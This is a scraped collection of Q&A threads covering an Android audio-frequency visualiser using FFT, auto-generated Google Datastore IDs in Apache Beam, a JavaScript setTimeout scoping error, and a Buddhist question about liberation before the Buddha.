android:id="@+id/StartStopButton" android:layout_width="wrap_content"
android:layout_height="wrap_content"></Button>
</LinearLayout>
```
In the AndroidManifest.xml I set the RECORD\_AUDIO permission.
Thanks in advance ! | 2011/04/01 | [
"https://Stackoverflow.com/questions/5511250",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/687279/"
] | Here is the working code. I tried it myself. It works fine.
```
package com.example.frequencytest;
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.ImageView;
import ca.uol.aig.fftpack.RealDoubleFFT;
public class MainActivity extends Activity implements OnClickListener {
int frequency = 8000;
int channelConfiguration = AudioFormat.CHANNEL_CONFIGURATION_MONO;
int audioEncoding = AudioFormat.ENCODING_PCM_16BIT;
private RealDoubleFFT transformer;
int blockSize = 256;
Button startStopButton;
boolean started = false;
RecordAudio recordTask;
ImageView imageView;
Bitmap bitmap;
Canvas canvas;
Paint paint;
//AudioRecord audioRecord;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startStopButton = (Button) this.findViewById(R.id.start_stop_btn);
startStopButton.setOnClickListener(this);
transformer = new RealDoubleFFT(blockSize);
imageView = (ImageView) this.findViewById(R.id.imageView1);
bitmap = Bitmap.createBitmap((int) 256, (int) 100,
Bitmap.Config.ARGB_8888);
canvas = new Canvas(bitmap);
paint = new Paint();
paint.setColor(Color.GREEN);
imageView.setImageBitmap(bitmap);
}
public class RecordAudio extends AsyncTask<Void, double[], Void> {
@Override
protected Void doInBackground(Void... arg0) {
try {
// int bufferSize = AudioRecord.getMinBufferSize(frequency,
// AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT);
int bufferSize = AudioRecord.getMinBufferSize(frequency,
channelConfiguration, audioEncoding);
AudioRecord audioRecord = new AudioRecord(
MediaRecorder.AudioSource.MIC, frequency,
channelConfiguration, audioEncoding, bufferSize);
short[] buffer = new short[blockSize];
double[] toTransform = new double[blockSize];
audioRecord.startRecording();
// started = true; hopes this should true before calling
// following while loop
while (started) {
int bufferReadResult = audioRecord.read(buffer, 0,
blockSize);
for (int i = 0; i < blockSize && i < bufferReadResult; i++) {
toTransform[i] = (double) buffer[i] / 32768.0; // signed
// 16
} // bit
transformer.ft(toTransform);
publishProgress(toTransform);
}
audioRecord.stop();
} catch (Throwable t) {
t.printStackTrace();
Log.e("AudioRecord", "Recording Failed");
}
return null;
}
@Override
protected void onProgressUpdate(double[]... toTransform) {
canvas.drawColor(Color.BLACK);
for (int i = 0; i < toTransform[0].length; i++) {
int x = i;
int downy = (int) (100 - (toTransform[0][i] * 10));
int upy = 100;
canvas.drawLine(x, downy, x, upy, paint);
}
imageView.invalidate();
// TODO Auto-generated method stub
// super.onProgressUpdate(values);
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.activity_main, menu);
return true;
}
public void onClick(View arg0) {
// TODO Auto-generated method stub
if (started) {
started = false;
startStopButton.setText("Start");
recordTask.cancel(true);
} else {
started = true;
startStopButton.setText("Stop");
recordTask = new RecordAudio();
recordTask.execute();
}
}
}
``` | Yes, I also had this project and i had the same error as you but after adding the permission below all is okay now. Most probably you didn't add it in the correct place in the androidmanifest.xml.It should be outside the application tag.
```
<uses-permission android:name="android.permission.RECORD_AUDIO">
</uses-permission>
``` |
5,511,250 | I'm new in Android and I'm trying to make a program which captures an audio sound and then displays the frequencies that exist within it. I found an example that draws the graphic portion of a graphic equalizer. In this example it is used an object of type
AudioRecord to capture audio sound. The technique used to break an audio signal down into component frequencies employs a mathematic transformation called a discrete Fourier transform (DFT) and to perform DFT it is used a fast Fourier transform (FFT). This example use a package which implements the FFT. The package is linked here [www.netlib.org/fftpack/jfftpack.tgz](http://www.netlib.org/fftpack/jfftpack.tgz).
The problem is that after I run this example the graphic equalizer doesn't appear on the display after I press the start button.
Here is the source code for the activity class:
```
package com.audio.processing;
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.ImageView;
import ca.uol.aig.fftpack.RealDoubleFFT;
public class AudioProcessing extends Activity implements OnClickListener{
int frequency = 8000;
int channelConfiguration = AudioFormat.CHANNEL_CONFIGURATION_MONO;
int audioEncoding = AudioFormat.ENCODING_PCM_16BIT;
private RealDoubleFFT transformer;
int blockSize = 256;
Button startStopButton;
boolean started = false;
RecordAudio recordTask;
ImageView imageView;
Bitmap bitmap;
Canvas canvas;
Paint paint;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
startStopButton = (Button) this.findViewById(R.id.StartStopButton);
startStopButton.setOnClickListener(this);
transformer = new RealDoubleFFT(blockSize);
imageView = (ImageView) this.findViewById(R.id.ImageView01);
bitmap = Bitmap.createBitmap((int)256,(int)100,Bitmap.Config.ARGB_8888);
canvas = new Canvas(bitmap);
paint = new Paint();
paint.setColor(Color.GREEN);
imageView.setImageBitmap(bitmap);
}
private class RecordAudio extends AsyncTask<Void, double[], Void> {
@Override
protected Void doInBackground(Void... params) {
try {
int bufferSize = AudioRecord.getMinBufferSize(frequency,
channelConfiguration, audioEncoding);
AudioRecord audioRecord = new AudioRecord(
MediaRecorder.AudioSource.DEFAULT, frequency,
channelConfiguration, audioEncoding, bufferSize);
short[] buffer = new short[blockSize];
double[] toTransform = new double[blockSize];
audioRecord.startRecording();
while (started) {
int bufferReadResult = audioRecord.read(buffer, 0, blockSize);
for (int i = 0; i < blockSize && i < bufferReadResult; i++) {
toTransform[i] = (double) buffer[i] / 32768.0; // signed 16 bit
}
transformer.ft(toTransform);
publishProgress(toTransform);
}
audioRecord.stop();
} catch (Throwable t) {
Log.e("AudioRecord", "Recording Failed");
}
return null;
}
}
protected void onProgressUpdate(double[]... toTransform) {
canvas.drawColor(Color.BLACK);
for (int i = 0; i < toTransform[0].length; i++) {
int x = i;
int downy = (int) (100 - (toTransform[0][i] * 10));
int upy = 100;
canvas.drawLine(x, downy, x, upy, paint);
}
imageView.invalidate();
}
public void onClick(View v) {
if (started) {
started = false;
startStopButton.setText("Start");
recordTask.cancel(true);
} else {
started = true;
startStopButton.setText("Stop");
recordTask = new RecordAudio();
recordTask.execute();
}
}
}
```
Here is the main.xml :
```
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<TextView
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="@string/hello"
/>
<ImageView android:id="@+id/ImageView01" android:layout_width="wrap_content"
android:layout_height="wrap_content"></ImageView><Button android:text="Start"
android:id="@+id/StartStopButton" android:layout_width="wrap_content"
android:layout_height="wrap_content"></Button>
</LinearLayout>
```
In the AndroidManifest.xml I set the RECORD\_AUDIO permission.
Thanks in advance ! | 2011/04/01 | [
"https://Stackoverflow.com/questions/5511250",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/687279/"
] | Here is the working code. I tried it myself. It works fine.
```
package com.example.frequencytest;
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.media.AudioFormat;
import android.media.AudioRecord;
import android.media.MediaRecorder;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.ImageView;
import ca.uol.aig.fftpack.RealDoubleFFT;
public class MainActivity extends Activity implements OnClickListener {
int frequency = 8000;
int channelConfiguration = AudioFormat.CHANNEL_CONFIGURATION_MONO;
int audioEncoding = AudioFormat.ENCODING_PCM_16BIT;
private RealDoubleFFT transformer;
int blockSize = 256;
Button startStopButton;
boolean started = false;
RecordAudio recordTask;
ImageView imageView;
Bitmap bitmap;
Canvas canvas;
Paint paint;
//AudioRecord audioRecord;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startStopButton = (Button) this.findViewById(R.id.start_stop_btn);
startStopButton.setOnClickListener(this);
transformer = new RealDoubleFFT(blockSize);
imageView = (ImageView) this.findViewById(R.id.imageView1);
bitmap = Bitmap.createBitmap((int) 256, (int) 100,
Bitmap.Config.ARGB_8888);
canvas = new Canvas(bitmap);
paint = new Paint();
paint.setColor(Color.GREEN);
imageView.setImageBitmap(bitmap);
}
public class RecordAudio extends AsyncTask<Void, double[], Void> {
@Override
protected Void doInBackground(Void... arg0) {
try {
// int bufferSize = AudioRecord.getMinBufferSize(frequency,
// AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT);
int bufferSize = AudioRecord.getMinBufferSize(frequency,
channelConfiguration, audioEncoding);
AudioRecord audioRecord = new AudioRecord(
MediaRecorder.AudioSource.MIC, frequency,
channelConfiguration, audioEncoding, bufferSize);
short[] buffer = new short[blockSize];
double[] toTransform = new double[blockSize];
audioRecord.startRecording();
// started = true; hopes this should true before calling
// following while loop
while (started) {
int bufferReadResult = audioRecord.read(buffer, 0,
blockSize);
for (int i = 0; i < blockSize && i < bufferReadResult; i++) {
toTransform[i] = (double) buffer[i] / 32768.0; // signed
// 16
} // bit
transformer.ft(toTransform);
publishProgress(toTransform);
}
audioRecord.stop();
} catch (Throwable t) {
t.printStackTrace();
Log.e("AudioRecord", "Recording Failed");
}
return null;
}
@Override
protected void onProgressUpdate(double[]... toTransform) {
canvas.drawColor(Color.BLACK);
for (int i = 0; i < toTransform[0].length; i++) {
int x = i;
int downy = (int) (100 - (toTransform[0][i] * 10));
int upy = 100;
canvas.drawLine(x, downy, x, upy, paint);
}
imageView.invalidate();
// TODO Auto-generated method stub
// super.onProgressUpdate(values);
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.activity_main, menu);
return true;
}
public void onClick(View arg0) {
// TODO Auto-generated method stub
if (started) {
started = false;
startStopButton.setText("Start");
recordTask.cancel(true);
} else {
started = true;
startStopButton.setText("Stop");
recordTask = new RecordAudio();
recordTask.execute();
}
}
}
``` | onProgressUpdate method should belong to RecordAudio where as in your code it is belonging to AudioProcessing. Check the braces, it should work based on above correction |
57,729,844 | I want to get the entity Ids of Google Datastore auto generated by Google Datastore (I can't use uuid) in Apache Beam pipeline using python.
I'm using the following code to pass the entity kind and key values when building the entities in Datastore.
```
from googledatastore import helper as datastore_helper
entity = entity_pb2.Entity()
datastore_helper.add_key_path(entity.key, entityName.get(), str(uuid.uuid4()))
```
in the above code, I can't use `uuid.uuid4()` to randomly generate unique Ids according to the project requirement. I have to use Google Datastore's auto Id generation. After a lot of reading, I am still unsure what to pass to the datastore helper to make it take care of the unique id generation without using uuids. Please help. | 2019/08/30 | [
"https://Stackoverflow.com/questions/57729844",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3433050/"
] | It's an artifical limitation imposed by the sdk, by this `if` statement inside `WriteToDatastore`:
```
if client_entity.key.is_partial:
raise ValueError('Entities to be written to Cloud Datastore must '
'have complete keys:\n%s' % client_entity)
```
<https://beam.apache.org/releases/pydoc/2.14.0/_modules/apache_beam/io/gcp/datastore/v1new/datastoreio.html#WriteToDatastore>
Dataflow steps can be re-run a couple of times, so i think this limitation is there to prevent you from generating duplicate entries in your datastore.
The function behind `WriteToDatastore` is `batch.commit()` from the new 'cloud datastore' library <https://googleapis.dev/python/datastore/latest/index.html> (which is used in `write_mutations` in `apache_beam/io/gcp/datastore/v1/helper.py`):
<https://beam.apache.org/releases/pydoc/2.14.0/_modules/apache_beam/io/gcp/datastore/v1new/helper.html#write_mutations>
The primary `Client()` class in the Cloud Datastore library has an `allocate_ids()` function:
<https://googleapis.dev/python/datastore/latest/client.html?highlight=allocate_ids#google.cloud.datastore.client.Client.allocate_ids>
You should be able to use that to auto-gen ids for your entities before passing them to `WriteToDatastore` | In Cloud Datastore, if the numeric id for the entity is omitted when an entity is created, then datastore will generate one using the ‘kind’.
The allocateId() from the cloud datastore client API allows you to generate a block of IDs based on an incomplete/partial key, typically when only the namespace is specified. This can then be used as a base to allocate id’s.
More information along with some code snippets can be found at <https://cloud.google.com/datastore/docs/concepts/entities#kinds_and_identifiers>
and also at
<https://medium.com/google-cloud/entity-groups-ancestors-and-indexes-in-datastore-a-working-example-3ee40cc185ee>
For usage information for google cloud datastore helper’s .add\_key\_path, the helper.py script is available at <https://github.com/GoogleCloudPlatform/google-cloud-datastore/blob/master/python/googledatastore/helper.py>.
Please reference as of line 153. |
36,702,702 | I have this javascript that calls a function after a 1.5 second timer. In Chrome, it works great. In Firefox, I get a Reference Error: accessTransition is not defined. Any explanation for why this is the case?
```
$('#next-btn').click(function(e) {
window.setTimeout(accessTransition, 1500);
function accessTransition()
{
$('.fact-intro-1').slideUp(1000);
$('.fact-text-1').css('display', 'inline-block');
}
}
``` | 2016/04/18 | [
"https://Stackoverflow.com/questions/36702702",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1819315/"
] | Try with:
```
function accessTransition()
{
$('.fact-intro-1').slideUp(1000);
$('.fact-text-1').css('display', 'inline-block');
}
$('#next-btn').click(function(e) {
window.setTimeout(accessTransition, 1500);
}
```
I think timeout cannot get this function because it's nested in event handler function (javascript has function based scope). | ```
function accessTransition()
{
$('.fact-intro-1').slideUp(1000);
$('.fact-text-1').css('display', 'inline-block');
}
$('#next-btn').click(function(e) {
window.setTimeout(accessTransition, 1500);
}
```
You should define the function outside the event handler. |
19,523 | Before the Buddha introduced nirvana and enlightenment, was there any way to escape from the cycle of birth and death? What is written in Buddhist texts? | 2017/03/07 | [
"https://buddhism.stackexchange.com/questions/19523",
"https://buddhism.stackexchange.com",
"https://buddhism.stackexchange.com/users/-1/"
] | Some Buddhist texts say that there were previous Buddhas (and that there will be others in the distant future): that they too taught Buddhism; and that the current Buddha rediscovered Buddhism.
For example, in the commentary to [Dhammapada verse 183](http://www.tipitaka.net/tipitaka/dhp/verseload.php?verse=183):
>
> On one occasion, Thera Ananda asked the Buddha whether the Fundamental Instructions to bhikkhus given by the preceding Buddhas were the same as those of the Buddha himself. To him the Buddha replied that the instructions given by all the Buddhas are as given in the following verses:
>
>
> Then the Buddha spoke in verse as follows:
>
>
>
> >
> > 183. Not to do evil, to cultivate merit, to purify one's mind - this is the Teaching of the Buddhas.
> > 184. The best moral practice is patience and forbearance; "Nibbana is Supreme", said the Buddhas. A bhikkhu does not harm others; one who harms others is not a bhikkhu.
> > 185. Not to revile, not to do any harm, to practise restraint according to the Fundamental Instructions for the bhikkhus, to be moderate in taking food, to dwell in a secluded place, to devote oneself to higher concentration - this is the Teaching of the Buddhas.
> >
> >
> >
>
>
>
There are even some suttas, such as [SN 12.65](http://www.themindingcentre.org/dharmafarer/wp-content/uploads/2009/12/14.2-Nagara-S-s12.65-piya.pdf) which implies that Nirvana and the path the Nirvana was "inhabited in ancient times" and rediscovered by the Buddha.
>
> In the Nagara Sutta, the delightful ancient fortress city [§20.2] clearly refers to nirvana, and the city is
> populated by saints (called “seers,” *rsi*, in the Sanskrit Nagara Sutra, §5.28). Both the Pali and Sanskrit
> versions of the Sutta speak of ancient people using the path.
>
>
>
Texts also say that a few people (called "[private Buddhas](https://en.wikipedia.org/wiki/Pratyekabuddha)") discover Nirvana for themselves, but (unlike a true Buddha) aren't able or aren't willing to teach other people. | Because the Buddha discovered reality as it actually is, rather than coming up with a personalised conception of what it is, the Dhamma is open and discoverable to all, whether there is a Buddha to light the path or not.
Specifically within Buddhism there is a concept of [Pratyekabuddha-hood](https://en.m.wikipedia.org/wiki/Pratyekabuddha), which are beings who discover the Dhamma without a teacher - without a living Buddha or his message being available. They do not teach though.
The Buddha was not the inventor of the Dhamma within Buddhism, he was 'only' an expounder of the Truths and the Eightfold Path. Before him there were past Buddhas within the Tripitaka, and a future one too (Maitreya).
Effectively the path is always discoverable and Nibbana achievable, to any individual willing to search. |
19,523 | Before the Buddha introduced nirvana and enlightenment, was there any way to escape from the cycle of birth and death? What is written in Buddhist texts? | 2017/03/07 | [
"https://buddhism.stackexchange.com/questions/19523",
"https://buddhism.stackexchange.com",
"https://buddhism.stackexchange.com/users/-1/"
] | Some Buddhist texts say that there were previous Buddhas (and that there will be others in the distant future): that they too taught Buddhism; and that the current Buddha rediscovered Buddhism.
For example, in the commentary to [Dhammapada verse 183](http://www.tipitaka.net/tipitaka/dhp/verseload.php?verse=183):
>
> On one occasion, Thera Ananda asked the Buddha whether the Fundamental Instructions to bhikkhus given by the preceding Buddhas were the same as those of the Buddha himself. To him the Buddha replied that the instructions given by all the Buddhas are as given in the following verses:
>
>
> Then the Buddha spoke in verse as follows:
>
>
>
> >
> > 183. Not to do evil, to cultivate merit, to purify one's mind - this is the Teaching of the Buddhas.
> > 184. The best moral practice is patience and forbearance; "Nibbana is Supreme", said the Buddhas. A bhikkhu does not harm others; one who harms others is not a bhikkhu.
> > 185. Not to revile, not to do any harm, to practise restraint according to the Fundamental Instructions for the bhikkhus, to be moderate in taking food, to dwell in a secluded place, to devote oneself to higher concentration - this is the Teaching of the Buddhas.
> >
> >
> >
>
>
>
There are even some suttas, such as [SN 12.65](http://www.themindingcentre.org/dharmafarer/wp-content/uploads/2009/12/14.2-Nagara-S-s12.65-piya.pdf) which implies that Nirvana and the path the Nirvana was "inhabited in ancient times" and rediscovered by the Buddha.
>
> In the Nagara Sutta, the delightful ancient fortress city [§20.2] clearly refers to nirvana, and the city is
> populated by saints (called “seers,” *rsi*, in the Sanskrit Nagara Sutra, §5.28). Both the Pali and Sanskrit
> versions of the Sutta speak of ancient people using the path.
>
>
>
Texts also say that a few people (called "[private Buddhas](https://en.wikipedia.org/wiki/Pratyekabuddha)") discover Nirvana for themselves, but (unlike a true Buddha) aren't able or aren't willing to teach other people. | According to Buddhism, there was no way to escape from *samsara* (the cycle of ignorance, craving & ego-becoming) before the Buddha.
What is called 'Hinduism' arose after Buddhism. Before Buddhism, the main religion was called 'Brahmanism', which focused on 'Brahma' (god) & the Brahmin caste. There appears to be no evidence Brahmanism found a way to be free from 'samsara'.
If Brahmanism actually knew of a way to be free from samsara, the word 'Buddha' is a lie & false, since the Buddha declared his discovery was something completely brand new, i.e., "never heard before".
>
> *This noble truth of the way leading to the cessation of suffering has been developed’: thus, bhikkhus, in regard to things unheard before,
> there arose in me vision, knowledge, wisdom, true knowledge, and
> light.*
>
>
> [*SN 56.11 The First Sermon*](https://suttacentral.net/en/sn56.11)
>
>
> |
19,523 | Before the Buddha introduced nirvana and enlightenment, was there any way to escape from the cycle of birth and death? What is written in Buddhist texts? | 2017/03/07 | [
"https://buddhism.stackexchange.com/questions/19523",
"https://buddhism.stackexchange.com",
"https://buddhism.stackexchange.com/users/-1/"
] | Some Buddhist texts say that there were previous Buddhas (and that there will be others in the distant future): that they too taught Buddhism; and that the current Buddha rediscovered Buddhism.
For example, in the commentary to [Dhammapada verse 183](http://www.tipitaka.net/tipitaka/dhp/verseload.php?verse=183):
>
> On one occasion, Thera Ananda asked the Buddha whether the Fundamental Instructions to bhikkhus given by the preceding Buddhas were the same as those of the Buddha himself. To him the Buddha replied that the instructions given by all the Buddhas are as given in the following verses:
>
>
> Then the Buddha spoke in verse as follows:
>
>
>
> >
> > 183. Not to do evil, to cultivate merit, to purify one's mind - this is the Teaching of the Buddhas.
> > 184. The best moral practice is patience and forbearance; "Nibbana is Supreme", said the Buddhas. A bhikkhu does not harm others; one who harms others is not a bhikkhu.
> > 185. Not to revile, not to do any harm, to practise restraint according to the Fundamental Instructions for the bhikkhus, to be moderate in taking food, to dwell in a secluded place, to devote oneself to higher concentration - this is the Teaching of the Buddhas.
> >
> >
> >
>
>
>
There are even some suttas, such as [SN 12.65](http://www.themindingcentre.org/dharmafarer/wp-content/uploads/2009/12/14.2-Nagara-S-s12.65-piya.pdf) which implies that Nirvana and the path the Nirvana was "inhabited in ancient times" and rediscovered by the Buddha.
>
> In the Nagara Sutta, the delightful ancient fortress city [§20.2] clearly refers to nirvana, and the city is
> populated by saints (called “seers,” *rsi*, in the Sanskrit Nagara Sutra, §5.28). Both the Pali and Sanskrit
> versions of the Sutta speak of ancient people using the path.
>
>
>
Texts also say that a few people (called "[private Buddhas](https://en.wikipedia.org/wiki/Pratyekabuddha)") discover Nirvana for themselves, but (unlike a true Buddha) aren't able or aren't willing to teach other people. | According to Theravada tradition, Buddhas come and go over countless eons. Only in the times when their teaching is alive and true will we get a chance of escaping from this endless samsara. Every once in a great while, after a long period of spiritual darkness blankets the world, an individual is eventually born who, through his own efforts, rediscovers the long-forgotten path to Awakening and liberates himself once and for all from the long round of rebirth, thereby becoming an arahant ("worthy one," one who has fully realized Awakening).
In Digha Nikáya Sutta 14, [Mahapadana Sutta (The Great Discourse on the Lineage)](http://buddhasutra.com/files/mahapadana_sutta.htm)) & DN 32 The Ātaānātiiya Discourse, the Supreme Buddha stated that six Supreme Buddhas appeared over 91 world-cycles. The seven Buddhas, including "our" Supreme Buddha, mentioned in DN 14 & DN 32: Vipassi, Sikhi, Vessabhu, Kakusandha, Konagamana, Kassapa, and Gotama. They were all born in this earth, in the land of the Rose Apple (Jambudipa), in north-central India in the area known then as the Middle Land (Majjhima Desa).
If such a being lacks the requisite development of a Supreme Buddha, he is unable to articulate his discovery to others and is known as a "Silent" or "Private" Buddha (paccekabuddha). These silent Buddhas come to pass a few hundred years prior to a birth of a Supreme Buddha. These Silent Buddhas too are born only in the land of the Rose Apple (Jambudipa), in north-central India in the area known then as the Middle Land (Majjhima Desa). This is a Dharmatha - a set of natural laws.
Only at a time when the Dhamma of a Supreme Buddha is alive in the world will arahants walk this earth because they require a Buddha to show them the way to Awakening. (All Buddhas and paccekabuddhas are arahants) No matter how far and wide the sasana spreads, sooner or later it succumbs to the inexorable law of anicca (impermanence), and fades from memory. The world descends again into darkness, and the eons-long cycle repeats. The most recent Buddha was born Siddhattha Gotama in India in the sixth century BCE. He is the one we usually mean when we refer to "The Buddha."
The next Buddha due to appear is said to be Maitreya (Metteyya), a bodhisatta currently residing in the Tusita heavens. Legend has it that at some time in the far distant future, once the teachings of the current Buddha have long been forgotten, he will be reborn as a human being, rediscover the Four Noble Truths, and teach the Noble Eightfold Path once again. His name is mentioned only once in the entire Tipitaka, in the Cakkavatti-Sihanada Sutta (DN 26; The Lion's Roar on the Turning of the Wheel):
>
> [The Buddha:] And in that time of the people with an eighty-thousand-year life-span, there will arise in the world a Blessed Lord, an arahant fully enlightened Buddha named Metteyya, endowed with wisdom and conduct, a Well-farer, Knower of the worlds, incomparable Trainer of men to be tamed, Teacher of gods and humans, enlightened and blessed, just as I am now.
>
>
> |
19,523 | Before the Buddha introduced nirvana and enlightenment, was there any way to escape from the cycle of birth and death? What is written in Buddhist texts? | 2017/03/07 | [
"https://buddhism.stackexchange.com/questions/19523",
"https://buddhism.stackexchange.com",
"https://buddhism.stackexchange.com/users/-1/"
] | Because the Buddha discovered reality as it actually is, rather than coming up with a personalised conception of what it is, the Dhamma is open and discoverable to all, whether there is a Buddha to light the path or not.
Specifically within Buddhism there is a concept of [Pratyekabuddha-hood](https://en.m.wikipedia.org/wiki/Pratyekabuddha), which are beings who discover the Dhamma without a teacher - without a living Buddha or his message being available. They do not teach though.
The Buddha was not the inventor of the Dhamma within Buddhism, he was 'only' an expounder of the Truths and the Eightfold Path. Before him there were past Buddhas within the Tripitaka, and a future one too (Maitreya).
Effectively the path is always discoverable and Nibbana achievable, to any individual willing to search. | According to Buddhism, there was no way to escape from *samsara* (the cycle of ignorance, craving & ego-becoming) before the Buddha.
What is called 'Hinduism' arose after Buddhism. Before Buddhism, the main religion was called 'Brahmanism', which focused on 'Brahma' (god) & the Brahmin caste. There appears to be no evidence Brahmanism found a way to be free from 'samsara'.
If Brahmanism actually knew of a way to be free from samsara, the word 'Buddha' is a lie & false, since the Buddha declared his discovery was something completely brand new, i.e., "never heard before".
>
> *This noble truth of the way leading to the cessation of suffering has been developed’: thus, bhikkhus, in regard to things unheard before,
> there arose in me vision, knowledge, wisdom, true knowledge, and
> light.*
>
>
> [*SN 56.11 The First Sermon*](https://suttacentral.net/en/sn56.11)
>
>
> |
19,523 | Before the Buddha introduced nirvana and enlightenment, was there any way to escape from the cycle of birth and death? What is written in Buddhist texts? | 2017/03/07 | [
"https://buddhism.stackexchange.com/questions/19523",
"https://buddhism.stackexchange.com",
"https://buddhism.stackexchange.com/users/-1/"
] | Because the Buddha discovered reality as it actually is, rather than coming up with a personalised conception of what it is, the Dhamma is open and discoverable to all, whether there is a Buddha to light the path or not.
Specifically within Buddhism there is a concept of [Pratyekabuddha-hood](https://en.m.wikipedia.org/wiki/Pratyekabuddha), which are beings who discover the Dhamma without a teacher - without a living Buddha or his message being available. They do not teach though.
The Buddha was not the inventor of the Dhamma within Buddhism, he was 'only' an expounder of the Truths and the Eightfold Path. Before him there were past Buddhas within the Tripitaka, and a future one too (Maitreya).
Effectively the path is always discoverable and Nibbana achievable, to any individual willing to search. | According to Theravada tradition, Buddhas come and go over countless eons. Only in the times when their teaching is alive and true will we get a chance of escaping from this endless samsara. Every once in a great while, after a long period of spiritual darkness blankets the world, an individual is eventually born who, through his own efforts, rediscovers the long-forgotten path to Awakening and liberates himself once and for all from the long round of rebirth, thereby becoming an arahant ("worthy one," one who has fully realized Awakening).
In Digha Nikáya Sutta 14, [Mahapadana Sutta (The Great Discourse on the Lineage)](http://buddhasutra.com/files/mahapadana_sutta.htm)) & DN 32 The Ātaānātiiya Discourse, the Supreme Buddha stated that six Supreme Buddhas appeared over 91 world-cycles. The seven Buddhas, including "our" Supreme Buddha, mentioned in DN 14 & DN 32: Vipassi, Sikhi, Vessabhu, Kakusandha, Konagamana, Kassapa, and Gotama. They were all born in this earth, in the land of the Rose Apple (Jambudipa), in north-central India in the area known then as the Middle Land (Majjhima Desa).
If such a being lacks the requisite development of a Supreme Buddha, he is unable to articulate his discovery to others and is known as a "Silent" or "Private" Buddha (paccekabuddha). These silent Buddhas come to pass a few hundred years prior to a birth of a Supreme Buddha. These Silent Buddhas too are born only in the land of the Rose Apple (Jambudipa), in north-central India in the area known then as the Middle Land (Majjhima Desa). This is a Dharmatha - a set of natural laws.
Only at a time when the Dhamma of a Supreme Buddha is alive in the world will arahants walk this earth because they require a Buddha to show them the way to Awakening. (All Buddhas and paccekabuddhas are arahants) No matter how far and wide the sasana spreads, sooner or later it succumbs to the inexorable law of anicca (impermanence), and fades from memory. The world descends again into darkness, and the eons-long cycle repeats. The most recent Buddha was born Siddhattha Gotama in India in the sixth century BCE. He is the one we usually mean when we refer to "The Buddha."
The next Buddha due to appear is said to be Maitreya (Metteyya), a bodhisatta currently residing in the Tusita heavens. Legend has it that at some time in the far distant future, once the teachings of the current Buddha have long been forgotten, he will be reborn as a human being, rediscover the Four Noble Truths, and teach the Noble Eightfold Path once again. His name is mentioned only once in the entire Tipitaka, in the Cakkavatti-Sihanada Sutta (DN 26; The Lion's Roar on the Turning of the Wheel):
>
> [The Buddha:] And in that time of the people with an eighty-thousand-year life-span, there will arise in the world a Blessed Lord, an arahant fully enlightened Buddha named Metteyya, endowed with wisdom and conduct, a Well-farer, Knower of the worlds, incomparable Trainer of men to be tamed, Teacher of gods and humans, enlightened and blessed, just as I am now.
>
>
> |
19,523 | Before the Buddha introduced nirvana and enlightenment, was there any way to escape from the cycle of birth and death? What is written in Buddhist texts? | 2017/03/07 | [
"https://buddhism.stackexchange.com/questions/19523",
"https://buddhism.stackexchange.com",
"https://buddhism.stackexchange.com/users/-1/"
] | According to Theravada tradition, Buddhas come and go over countless eons. Only in the times when their teaching is alive and true will we get a chance of escaping from this endless samsara. Every once in a great while, after a long period of spiritual darkness blankets the world, an individual is eventually born who, through his own efforts, rediscovers the long-forgotten path to Awakening and liberates himself once and for all from the long round of rebirth, thereby becoming an arahant ("worthy one," one who has fully realized Awakening).
In Digha Nikáya Sutta 14, [Mahapadana Sutta (The Great Discourse on the Lineage)](http://buddhasutra.com/files/mahapadana_sutta.htm)) & DN 32 The Ātaānātiiya Discourse, the Supreme Buddha stated that six Supreme Buddhas appeared over 91 world-cycles. The seven Buddhas, including "our" Supreme Buddha, mentioned in DN 14 & DN 32: Vipassi, Sikhi, Vessabhu, Kakusandha, Konagamana, Kassapa, and Gotama. They were all born in this earth, in the land of the Rose Apple (Jambudipa), in north-central India in the area known then as the Middle Land (Majjhima Desa).
If such a being lacks the requisite development of a Supreme Buddha, he is unable to articulate his discovery to others and is known as a "Silent" or "Private" Buddha (paccekabuddha). These silent Buddhas come to pass a few hundred years prior to a birth of a Supreme Buddha. These Silent Buddhas too are born only in the land of the Rose Apple (Jambudipa), in north-central India in the area known then as the Middle Land (Majjhima Desa). This is a Dharmatha - a set of natural laws.
Only at a time when the Dhamma of a Supreme Buddha is alive in the world will arahants walk this earth because they require a Buddha to show them the way to Awakening. (All Buddhas and paccekabuddhas are arahants) No matter how far and wide the sasana spreads, sooner or later it succumbs to the inexorable law of anicca (impermanence), and fades from memory. The world descends again into darkness, and the eons-long cycle repeats. The most recent Buddha was born Siddhattha Gotama in India in the sixth century BCE. He is the one we usually mean when we refer to "The Buddha."
